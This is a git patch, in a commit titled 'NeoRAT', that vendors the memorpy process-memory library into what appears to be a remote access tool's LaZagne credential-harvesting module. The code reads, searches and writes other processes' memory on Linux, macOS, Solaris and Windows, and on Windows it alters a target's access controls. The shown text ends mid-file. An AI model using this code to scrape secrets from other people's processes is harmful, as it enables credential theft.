From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../client_handling/lazagne/config/lib/__init__.py | 0 .../lazagne/config/lib/memorpy/Address.py | 111 ++++++++ .../lazagne/config/lib/memorpy/BaseProcess.py | 66 +++++ .../lazagne/config/lib/memorpy/LinProcess.py | 296 +++++++++++++++++++ .../lazagne/config/lib/memorpy/LinStructures.py | 20 ++ .../lazagne/config/lib/memorpy/Locator.py | 96 +++++++ .../lazagne/config/lib/memorpy/MemWorker.py | 226 +++++++++++++++ .../lazagne/config/lib/memorpy/OSXProcess.py | 174 ++++++++++++ .../lazagne/config/lib/memorpy/Process.py | 13 + .../lazagne/config/lib/memorpy/SunProcess.py | 167 +++++++++++ .../lazagne/config/lib/memorpy/WinProcess.py | 312 +++++++++++++++++++++ .../lazagne/config/lib/memorpy/WinStructures.py | 190 +++++++++++++ .../lazagne/config/lib/memorpy/__init__.py | 32 +++ .../lazagne/config/lib/memorpy/structures.py | 8 + .../lazagne/config/lib/memorpy/utils.py | 121 ++++++++ .../lazagne/config/lib/memorpy/version.py | 6 + .../lazagne/config/lib/memorpy/wintools.py | 35 +++ 17 files changed, 1873 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/lib/__init__.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/Address.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/BaseProcess.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/LinProcess.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/LinStructures.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/Locator.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/MemWorker.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/OSXProcess.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/Process.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/SunProcess.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/WinProcess.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/WinStructures.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/__init__.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/structures.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/utils.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/version.py create mode 100644 foreign/client_handling/lazagne/config/lib/memorpy/wintools.py (limited to 'foreign/client_handling/lazagne/config/lib') diff --git a/foreign/client_handling/lazagne/config/lib/__init__.py b/foreign/client_handling/lazagne/config/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/Address.py b/foreign/client_handling/lazagne/config/lib/memorpy/Address.py new file mode 100644 index 0000000..c85ea6f --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/Address.py @@ -0,0 +1,111 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +from .utils import * + +class AddressException(Exception): + pass + + +class Address(object): + """ this class is used to have better representation of memory addresses """ + + def __init__(self, value, process, default_type = 'uint'): + self.value = int(value) + self.process = process + self.default_type = default_type + self.symbolic_name = None + + def read(self, type = None, maxlen = None, errors='raise'): + if maxlen is None: + try: + int(type) + maxlen = int(type) + type = None + except: + pass + + if not type: + type = self.default_type + if not maxlen: + return self.process.read(self.value, type=type, errors=errors) + else: + return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors) + + def write(self, data, type = None): + if not type: + type = self.default_type + return self.process.write(self.value, data, type=type) + + def symbol(self): + return self.process.get_symbolic_name(self.value) + + def get_instruction(self): + return self.process.get_instruction(self.value) + + def dump(self, ftype = 'bytes', size = 512, before = 32): + buf = self.process.read_bytes(self.value - before, size) + print(hex_dump(buf, self.value - before, ftype=ftype)) + + def __nonzero__(self): + return self.value is not None and self.value != 0 + + def __add__(self, other): + return Address(self.value + int(other), self.process, self.default_type) + + def __sub__(self, other): + return Address(self.value - int(other), self.process, self.default_type) + + def __repr__(self): + if not self.symbolic_name: + self.symbolic_name = self.symbol() + return str('') + + def __str__(self): + if not self.symbolic_name: + self.symbolic_name = self.symbol() + return str('' % (str(self.read()).encode('unicode_escape'), self.default_type)) + + def __int__(self): + return int(self.value) + + def __hex__(self): + return hex(self.value) + + def __get__(self, instance, owner): + return self.value + + def __set__(self, instance, value): + self.value = int(value) + + def __lt__(self, other): + return self.value < int(other) + + def __le__(self, other): + return self.value <= int(other) + + def __eq__(self, other): + return self.value == int(other) + + def __ne__(self, other): + return self.value != int(other) + + def __gt__(self, other): + return self.value > int(other) + + def __ge__(self, other): + return self.value >= int(other) + diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/BaseProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/BaseProcess.py new file mode 100644 index 0000000..8766b54 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/BaseProcess.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import struct + +from .utils import * + + +""" Base class for process not linked to any platform """ + +class ProcessException(Exception): + pass + +class BaseProcess(object): + + def __init__(self, *args, **kwargs): + """ Create and Open a process object from its pid or from its name """ + self.h_process = None + self.pid = None + self.isProcessOpen = False + self.buffer = None + self.bufferlen = 0 + + def __del__(self): + self.close() + + def close(self): + pass + def iter_region(self, *args, **kwargs): + raise NotImplementedError + def write_bytes(self, address, data): + raise NotImplementedError + + def read_bytes(self, address, bytes = 4): + raise NotImplementedError + + def get_symbolic_name(self, address): + return '0x%08X' % int(address) + + def read(self, address, type = 'uint', maxlen = 50, errors='raise'): + if type == 's' or type == 'string': + s = self.read_bytes(int(address), bytes=maxlen) + + try: + idx = s.index(b'\x00') + return s[:idx] + except: + if errors == 'ignore': + return s + + raise ProcessException('string > maxlen') + + else: + if type == 'bytes' or type == 'b': + return self.read_bytes(int(address), bytes=maxlen) + s, l = type_unpack(type) + return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0] + + def write(self, address, data, type = 'uint'): + if type != 'bytes': + s, l = type_unpack(type) + return self.write_bytes(int(address), struct.pack(s, data)) + else: + return self.write_bytes(int(address), data) + + diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/LinProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/LinProcess.py new file mode 100644 index 0000000..6cde871 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/LinProcess.py @@ -0,0 +1,296 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +import copy +import struct +# import utils +import platform +import ctypes, re, sys +from ctypes import create_string_buffer, byref, c_int, c_void_p, c_long, c_size_t, c_ssize_t, POINTER, get_errno +import errno +import os +import signal +from .BaseProcess import BaseProcess, ProcessException +from .structures import * +import logging + +logger = logging.getLogger('memorpy') + +libc=ctypes.CDLL("libc.so.6", use_errno=True) +get_errno_loc = libc.__errno_location +get_errno_loc.restype = POINTER(c_int) + +def errcheck(ret, func, args): + if ret == -1: + _errno = get_errno() or errno.EPERM + raise OSError(os.strerror(_errno)) + return ret + +c_ptrace = libc.ptrace +c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t +c_ptrace.argtypes = [c_int, c_pid_t, c_void_p, c_void_p] +c_ptrace.restype = c_long +mprotect = libc.mprotect +mprotect.restype = c_int +mprotect.argtypes = [c_void_p, c_size_t, c_int] +LARGE_FILE_SUPPORT=False +try: + c_off64_t=ctypes.c_longlong + lseek64 = libc.lseek64 + lseek64.argtypes = [c_int, c_off64_t, c_int] + lseek64.errcheck=errcheck + open64 = libc.open64 + open64.restype = c_int + open64.argtypes = [c_void_p, c_int] + open64.errcheck=errcheck + pread64=libc.pread64 + pread64.argtypes = [c_int, c_void_p, c_size_t, c_off64_t] + pread64.restype = c_ssize_t + pread64.errcheck=errcheck + c_close=libc.close + c_close.argtypes = [c_int] + c_close.restype = c_int + LARGE_FILE_SUPPORT=True +except: + logger.warning("no Large File Support") + +class LinProcess(BaseProcess): + def __init__(self, pid=None, name=None, debug=True, ptrace=None): + """ Create and Open a process object from its pid or from its name """ + super(LinProcess, self).__init__() + self.mem_file=None + self.ptrace_started=False + if pid is not None: + self.pid=pid + elif name is not None: + self.pid=LinProcess.pid_from_name(name) + else: + raise ValueError("You need to instanciate process with at least a name or a pid") + if ptrace is None: + if os.getuid()==0: + self.read_ptrace=False # no need to ptrace the process when root to read memory + else: + self.read_ptrace=True + self._open() + + def check_ptrace_scope(self): + """ check ptrace scope and raise an exception if privileges are unsufficient + + The sysctl settings (writable only with CAP_SYS_PTRACE) are: + + 0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other + process running under the same uid, as long as it is dumpable (i.e. + did not transition uids, start privileged, or have called + prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is + unchanged. + + 1 - restricted ptrace: a process must have a predefined relationship + with the inferior it wants to call PTRACE_ATTACH on. By default, + this relationship is that of only its descendants when the above + classic criteria is also met. To change the relationship, an + inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare + an allowed debugger PID to call PTRACE_ATTACH on the inferior. + Using PTRACE_TRACEME is unchanged. + + 2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace + with PTRACE_ATTACH, or through children calling PTRACE_TRACEME. + + 3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via + PTRACE_TRACEME. Once set, this sysctl value cannot be changed. + """ + try: + with open("/proc/sys/kernel/yama/ptrace_scope",'rb') as f: + ptrace_scope=int(f.read().strip()) + if ptrace_scope==3: + logger.warning("yama/ptrace_scope == 3 (no attach). :/") + if os.getuid()==0: + return + elif ptrace_scope == 1: + logger.warning("yama/ptrace_scope == 1 (restricted). you can't ptrace other process ... get root") + elif ptrace_scope == 2: + logger.warning("yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACE") + + except IOError: + pass + + except Exception as e: + logger.warning("Error getting ptrace_scope ?? : %s"%e) + + def close(self): + if self.mem_file: + if not LARGE_FILE_SUPPORT: + self.mem_file.close() + else: + c_close(self.mem_file) + self.mem_file=None + if self.ptrace_started: + self.ptrace_detach() + + def __del__(self): + self.close() + + def _open(self): + self.isProcessOpen = True + self.check_ptrace_scope() + if os.getuid()!=0: + #to raise an exception if ptrace is not allowed + self.ptrace_attach() + self.ptrace_detach() + + #open file descriptor + if not LARGE_FILE_SUPPORT: + self.mem_file=open("/proc/" + str(self.pid) + "/mem", 'rb', 0) + else: + path=create_string_buffer(b"/proc/%d/mem" % self.pid) + self.mem_file=open64(byref(path), os.O_RDONLY) + + @staticmethod + def list(): + processes=[] + for pid in os.listdir("/proc"): + try: + exe=os.readlink("/proc/%s/exe"%pid) + processes.append({"pid":int(pid), "name":exe}) + except: + pass + return processes + + @staticmethod + def pid_from_name(name): + #quick and dirty, works with all linux not depending on ps output + for pid in os.listdir("/proc"): + try: + int(pid) + except: + continue + pname="" + with open("/proc/%s/cmdline"%pid,'r') as f: + pname=f.read() + if name in pname: + return int(pid) + raise ProcessException("No process with such name: %s"%name) + + ## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH. + def _ptrace(self, attach): + op = ctypes.c_int(PTRACE_ATTACH if attach else PTRACE_DETACH) + c_pid = c_pid_t(self.pid) + null = ctypes.c_void_p() + + if not attach: + os.kill(self.pid, signal.SIGSTOP) + os.waitpid(self.pid, 0) + + err = c_ptrace(op, c_pid, null, null) + + if not attach: + os.kill(self.pid, signal.SIGCONT) + + if err != 0: + raise OSError("%s: %s"%( + 'PTRACE_ATTACH' if attach else 'PTRACE_DETACH', + errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN') + )) + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + """ + optimizations : + i for inode==0 (no file mapping) + s to avoid scanning shared regions + x to avoid scanning x regions + r don't scan ronly regions + """ + with open("/proc/" + str(self.pid) + "/maps", 'r') as maps_file: + for line in maps_file: + m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\s+([-rwpsx]+)\s+([0-9A-Fa-f]+)\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\s+([0-9]+)\s*(.*)', line) + if not m: + continue + start, end, region_protec, offset, dev, inode, pathname = int(m.group(1), 16), int(m.group(2), 16), m.group(3), m.group(4), m.group(5), int(m.group(6)), m.group(7) + if start_offset is not None: + if start < start_offset: + continue + if end_offset is not None: + if start > end_offset: + continue + chunk=end-start + if 'r' in region_protec: # TODO: handle protec parameter + if optimizations: + if 'i' in optimizations and inode != 0: + continue + if 's' in optimizations and 's' in region_protec: + continue + if 'x' in optimizations and 'x' in region_protec: + continue + if 'r' in optimizations and not 'w' in region_protec: + continue + yield start, chunk + + def ptrace_attach(self): + if not self.ptrace_started: + res=self._ptrace(True) + self.ptrace_started=True + return res + + def ptrace_detach(self): + if self.ptrace_started: + res=self._ptrace(False) + self.ptrace_started=False + return res + + def write_bytes(self, address, data): + if not self.ptrace_started: + self.ptrace_attach() + + c_pid = c_pid_t(self.pid) + null = ctypes.c_void_p() + + + #we can only copy data per range of 4 or 8 bytes + word_size=ctypes.sizeof(ctypes.c_void_p) + #mprotect(address, len(data)+(len(data)%word_size), PROT_WRITE|PROT_READ) + for i in range(0, len(data), word_size): + word=data[i:i+word_size] + if len(word). + +import copy +import time +import struct + +from .Address import Address + + +class Locator(object): + """ + take a memoryworker and a type to search + then you can feed the locator with values and it will reduce the addresses possibilities + """ + + def __init__(self, mw, type = 'unknown', start = None, end = None): + self.mw = mw + self.type = type + self.last_iteration = {} + self.last_value = None + self.start = start + self.end = end + + def find(self, value, erase_last = True): + return self.feed(value, erase_last) + + def feed(self, value, erase_last = True): + self.last_value = value + new_iter = copy.copy(self.last_iteration) + if self.type == 'unknown': + all_types = ['uint', + 'int', + 'long', + 'ulong', + 'float', + 'double', + 'short', + 'ushort'] + else: + all_types = [self.type] + for type in all_types: + if type not in new_iter: + try: + new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ] + except struct.error: + new_iter[type] = [] + else: + l = [] + for address in new_iter[type]: + try: + found = self.mw.process.read(address, type) + if int(found) == int(value): + l.append(Address(address, self.mw.process, type)) + except Exception as e: + pass + + new_iter[type] = l + + if erase_last: + del self.last_iteration + self.last_iteration = new_iter + return new_iter + + def get_addresses(self): + return self.last_iteration + + def diff(self, erase_last = False): + return self.get_modified_addr(erase_last) + + def get_modified_addr(self, erase_last = False): + last = self.last_iteration + new = self.feed(self.last_value, erase_last=erase_last) + ret = {} + for type, l in last.iteritems(): + typeset = set(new[type]) + for addr in l: + if addr not in typeset: + if type not in ret: + ret[type] = [] + ret[type].append(addr) + + return ret diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/MemWorker.py b/foreign/client_handling/lazagne/config/lib/memorpy/MemWorker.py new file mode 100644 index 0000000..4a971bb --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/MemWorker.py @@ -0,0 +1,226 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . +import sys +import string +import re +import logging +import traceback +import binascii +import struct + +from .Process import * +from .utils import * +from .Address import Address +from .BaseProcess import ProcessException +from .structures import * + +logger = logging.getLogger('memorpy') + +REGEX_TYPE=type(re.compile("^plop$")) +class MemWorker(object): + + def __init__(self, pid=None, name=None, end_offset = None, start_offset = None, debug=True): + self.process = Process(name=name, pid=pid, debug=debug) + + def __enter__(self): + return self + + def __exit__(self, type, value, traceback): + self.process.close() + + def Address(self, value, default_type = 'uint'): + """ wrapper to instanciate an Address class for the memworker.process""" + return Address(value, process=self.process, default_type=default_type) + + def umem_replace(self, regex, replace): + """ like search_replace_mem but works with unicode strings """ + regex = re_to_unicode(regex) + replace = replace.encode('utf-16-le') + return self.mem_replace(re.compile(regex, re.UNICODE), replace) + + def mem_replace(self, regex, replace): + """ search memory for a pattern and replace all found occurrences """ + allWritesSucceed = True + for _, start_offset in self.mem_search(regex, ftype='re'): + if self.process.write_bytes(start_offset, replace) == 1: + logger.debug('Write at offset %s succeeded !' % start_offset) + else: + allWritesSucceed = False + logger.debug('Write at offset %s failed !' % start_offset) + + return allWritesSucceed + + def umem_search(self, regex): + """ like mem_search but works with unicode strings """ + regex = re_to_unicode(regex) + for _, i in self.mem_search(str(regex), ftype='re'): + yield i + + def group_search(self, group, start_offset = None, end_offset = None): + regex = '' + for value, type in group: + if type == 'f' or type == 'float': + f = struct.pack('. + +import copy +import struct +import utils +import platform +import ctypes, re, sys +import ctypes.util +import errno +import os +import signal +from .BaseProcess import BaseProcess, ProcessException +from .structures import * +import logging +import subprocess + +logger = logging.getLogger('memorpy') + +libc = ctypes.CDLL(ctypes.util.find_library('c')) + +VM_REGION_BASIC_INFO_64 = 9 + +class vm_region_basic_info_64(ctypes.Structure): + _fields_ = [ + ('protection', ctypes.c_uint32), + ('max_protection', ctypes.c_uint32), + ('inheritance', ctypes.c_uint32), + ('shared', ctypes.c_uint32), + ('reserved', ctypes.c_uint32), + ('offset', ctypes.c_ulonglong), + ('behavior', ctypes.c_uint32), + ('user_wired_count',ctypes.c_ushort), +] + +VM_REGION_BASIC_INFO_COUNT_64 = ctypes.sizeof(vm_region_basic_info_64) / 4 + +VM_PROT_READ = 1 +VM_PROT_WRITE = 2 +VM_PROT_EXECUTE = 4 + +class OSXProcess(BaseProcess): + def __init__(self, pid=None, name=None, debug=True): + """ Create and Open a process object from its pid or from its name """ + super(OSXProcess, self).__init__() + if pid is not None: + self.pid=pid + elif name is not None: + self.pid=OSXProcess.pid_from_name(name) + else: + raise ValueError("You need to instanciate process with at least a name or a pid") + self.task=None + self.mytask=None + self._open() + + def close(self): + pass + + def __del__(self): + pass + + def _open(self): + self.isProcessOpen = True + self.task = ctypes.c_uint32() + self.mytask=libc.mach_task_self() + ret=libc.task_for_pid(self.mytask, ctypes.c_int(self.pid), ctypes.pointer(self.task)) + if ret!=0: + raise ProcessException("task_for_pid failed with error code : %s"%ret) + + @staticmethod + def list(): + #TODO list processes with ctypes + processes=[] + res=subprocess.check_output("ps A", shell=True) + for line in res.split('\n'): + try: + tab=line.split() + pid=int(tab[0]) + exe=' '.join(tab[4:]) + processes.append({"pid":int(pid), "name":exe}) + except: + pass + return processes + + @staticmethod + def pid_from_name(name): + for dic in OSXProcess.list(): + if name in dic['exe']: + return dic['pid'] + + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + """ + optimizations : + i for inode==0 (no file mapping) + s to avoid scanning shared regions + x to avoid scanning x regions + r don't scan ronly regions + """ + maps = [] + address = ctypes.c_ulong(0) + mapsize = ctypes.c_ulong(0) + name = ctypes.c_uint32(0) + count = ctypes.c_uint32(VM_REGION_BASIC_INFO_COUNT_64) + info = vm_region_basic_info_64() + + while True: + r = libc.mach_vm_region(self.task, ctypes.pointer(address), + ctypes.pointer(mapsize), VM_REGION_BASIC_INFO_64, + ctypes.pointer(info), ctypes.pointer(count), + ctypes.pointer(name)) + # If we get told "invalid address", we have crossed into kernel land... + if r == 1: + break + + if r != 0: + raise ProcessException('mach_vm_region failed with error code %s' % r) + if start_offset is not None: + if address.value < start_offset: + address.value += mapsize.value + continue + if end_offset is not None: + if address.value > end_offset: + break + p = info.protection + if p & VM_PROT_EXECUTE: + if optimizations and 'x' in optimizations: + address.value += mapsize.value + continue + if info.shared: + if optimizations and 's' in optimizations: + address.value += mapsize.value + continue + if p & VM_PROT_READ: + if not (p & VM_PROT_WRITE): + if optimizations and 'r' in optimizations: + address.value += mapsize.value + continue + yield address.value, mapsize.value + + address.value += mapsize.value + + + def write_bytes(self, address, data): + raise NotImplementedError("write not implemented on OSX") + return True + + def read_bytes(self, address, bytes = 4): + pdata = ctypes.c_void_p(0) + data_cnt = ctypes.c_uint32(0) + + ret = libc.mach_vm_read(self.task, ctypes.c_ulonglong(address), ctypes.c_longlong(bytes), ctypes.pointer(pdata), ctypes.pointer(data_cnt)); + #if ret==1: + # return "" + if ret!=0: + raise ProcessException("mach_vm_read returned : %s"%ret) + buf=ctypes.string_at(pdata.value, data_cnt.value) + libc.vm_deallocate(self.mytask, pdata, data_cnt) + return buf + + diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/Process.py b/foreign/client_handling/lazagne/config/lib/memorpy/Process.py new file mode 100644 index 0000000..b586cd8 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/Process.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import sys +from .BaseProcess import * +if sys.platform=='win32': + from .WinProcess import WinProcess as Process +elif sys.platform=='darwin': + from .OSXProcess import OSXProcess as Process +elif 'sunos' in sys.platform: + from .SunProcess import SunProcess as Process +else: + from .LinProcess import LinProcess as Process diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/SunProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/SunProcess.py new file mode 100644 index 0000000..831c7f6 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/SunProcess.py @@ -0,0 +1,167 @@ +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +from .BaseProcess import BaseProcess, ProcessException +import struct +import os + +MA_READ = 0x04 +MA_WRITE = 0x02 +MA_EXEC = 0x01 +MA_SHARED = 0x08 +MA_ANON = 0x40 +MA_ISM = 0x80 +MA_NORESERVE = 0x100 +MA_SHM = 0x200 +MA_RESERVED1 = 0x400 +MA_OSM = 0x800 + +PSINFO_T = struct.Struct( + 'iiiIIIIIIIILLLLHHLLLLLL16s80siiLLciILLcccchi8sLLIIIIII' +) + +MAP_T = struct.Struct( + 'LL64sQiiii' +) + +class SunProcess(BaseProcess): + def __init__(self, pid=None, name=None, debug=True, ptrace=None): + ''' Create and Open a process object from its pid or from its name ''' + super(SunProcess, self).__init__() + self.pid = int(pid) + self.pas = None + self.writable = False + if name and not self.pid: + self.pid = SunProcess.pid_from_name(name) + if not name and not self.pid: + raise ValueError('You need to instanciate process with at least a name or a pid') + try: + self._open() + except: + pass + + def close(self): + if self.pas: + self.pas.close() + + def __del__(self): + self.close() + + def _open(self): + try: + self.pas = open('/proc/%d/as'%(self.pid), 'w+') + self.writable = True + except IOError: + self.pas = open('/proc/%d/as'%(self.pid)) + + self.isProcessOpen = True + + @staticmethod + def _name_args(pid): + with open('/proc/%d/psinfo'%(int(pid))) as psinfo: + items = PSINFO_T.unpack_from(psinfo.read()) + return items[23].rstrip('\x00'), items[24].rstrip('\x00') + + @staticmethod + def list(): + processes=[] + for pid in os.listdir('/proc'): + try: + pid = int(pid) + name, _ = SunProcess._name_args(pid) + processes.append({ + 'pid': pid, + 'name': name + }) + except: + pass + + return processes + + @staticmethod + def pid_from_name(name): + processes=[] + for pid in os.listdir('/proc'): + try: + pid = int(pid) + pname, cmdline = SunProcess._name_args(pid) + if name in pname: + return pid + if name in cmdline.split(' ', 1)[0]: + return pid + except: + pass + + raise ProcessException('No process with such name: %s'%name) + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + """ + optimizations : + i for inode==0 (no file mapping) + s to avoid scanning shared regions + x to avoid scanning x regions + r don't scan ronly regions + """ + if not self.isProcessOpen: + return + + with open('/proc/%d/map'%(self.pid)) as maps_file: + while True: + mapping = maps_file.read(MAP_T.size) + + if not mapping: + break + + start, size, name, offset, flags, pagesize, shmid, filler = MAP_T.unpack(mapping) + + if start_offset is not None: + if start < start_offset: + continue + + if end_offset is not None: + if start > end_offset: + continue + + if not flags & MA_READ: + continue + + if optimizations: + if 'i' in optimizations and not flags & MA_ANON: + continue + if 's' in optimizations and flags & MA_SHM: + continue + # in sunos it's quite common when this flag is set, so let's use other letter + if 'X' in optimizations and flags & MA_EXEC: + continue + if 'r' in optimizations and not flags & MA_WRITE: + continue + + yield start, size + + def write_bytes(self, address, data): + if not self.pas or not self.writable: + return False + + self.pas.seek(address) + self.pas.write(data) + + return True + + def read_bytes(self, address, bytes = 4): + if not self.pas: + return + + self.pas.seek(address) + return self.pas.read(bytes) diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/WinProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/WinProcess.py new file mode 100644 index 0000000..18c7054 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/WinProcess.py @@ -0,0 +1,312 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +from ctypes import pointer, sizeof, windll, create_string_buffer, c_ulong, byref, GetLastError, c_bool, WinError +from .structures import * +import copy +import struct +# import utils +import platform +from .BaseProcess import BaseProcess, ProcessException + +psapi = windll.psapi +kernel32 = windll.kernel32 +advapi32 = windll.advapi32 + +IsWow64Process=None +if hasattr(kernel32,'IsWow64Process'): + IsWow64Process=kernel32.IsWow64Process + IsWow64Process.restype = c_bool + IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)] + +class WinProcess(BaseProcess): + + def __init__(self, pid=None, name=None, debug=True): + """ Create and Open a process object from its pid or from its name """ + super(WinProcess, self).__init__() + if pid: + self._open(int(pid), debug=debug) + + elif name: + self._open_from_name(name, debug=debug) + else: + raise ValueError("You need to instanciate process with at least a name or a pid") + + if self.is_64bit(): + si = self.GetNativeSystemInfo() + self.max_addr = si.lpMaximumApplicationAddress + else: + si = self.GetSystemInfo() + self.max_addr = 2147418111 + self.min_addr = si.lpMinimumApplicationAddress + + + def __del__(self): + self.close() + + def is_64bit(self): + if not "64" in platform.machine(): + return False + iswow64 = c_bool(False) + if IsWow64Process is None: + return False + if not IsWow64Process(self.h_process, byref(iswow64)): + raise WinError() + return not iswow64.value + + @staticmethod + def list(): + processes=[] + arr = c_ulong * 256 + lpidProcess= arr() + cb = sizeof(lpidProcess) + cbNeeded = c_ulong() + hModule = c_ulong() + count = c_ulong() + modname = create_string_buffer(100) + PROCESS_QUERY_INFORMATION = 0x0400 + PROCESS_VM_READ = 0x0010 + + psapi.EnumProcesses(byref(lpidProcess), cb, byref(cbNeeded)) + nReturned = cbNeeded.value/sizeof(c_ulong()) + + pidProcess = [i for i in lpidProcess][:nReturned] + for pid in pidProcess: + proc={ "pid": int(pid) } + hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid) + if hProcess: + psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count)) + psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname)) + proc["name"]=modname.value + kernel32.CloseHandle(hProcess) + processes.append(proc) + return processes + + @staticmethod + def processes_from_name(processName): + processes = [] + for process in WinProcess.list(): + if processName == process.get("name", None) or (process.get("name","").lower().endswith(".exe") and process.get("name","")[:-4]==processName): + processes.append(process) + + if len(processes) > 0: + return processes + + @staticmethod + def name_from_process(dwProcessId): + process_list = WinProcess.list() + for process in process_list: + if process.pid == dwProcessId: + return process.get("name", None) + + return False + + def _open(self, dwProcessId, debug=False): + if debug: + ppsidOwner = DWORD() + ppsidGroup = DWORD() + ppDacl = DWORD() + ppSacl = DWORD() + ppSecurityDescriptor = SECURITY_DESCRIPTOR() + + process = kernel32.OpenProcess(262144, 0, dwProcessId) + advapi32.GetSecurityInfo(kernel32.GetCurrentProcess(), 6, 0, byref(ppsidOwner), byref(ppsidGroup), byref(ppDacl), byref(ppSacl), byref(ppSecurityDescriptor)) + advapi32.SetSecurityInfo(process, 6, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, None, None, ppSecurityDescriptor.dacl, ppSecurityDescriptor.group) + kernel32.CloseHandle(process) + self.h_process = kernel32.OpenProcess(2035711, 0, dwProcessId) + if self.h_process is not None: + self.isProcessOpen = 